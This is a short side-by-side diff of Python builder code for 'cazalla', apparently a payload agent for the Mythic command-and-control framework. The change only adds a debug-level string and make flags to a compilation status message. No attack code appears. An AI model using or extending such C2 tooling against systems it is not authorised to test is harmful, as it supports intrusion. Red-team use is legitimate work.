resp.build_message = f"Compilation failed: {compile_errors}" resp.build_message = f"Compilation failed: {compile_errors}"
return resp return resp
debug_info = " (DEBUG MODE)" if debug_enabled else "" debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Compiling", StepName="Compiling",
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nOutput: {output_filename}", StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
StepSuccess=True StepSuccess=True
)) ))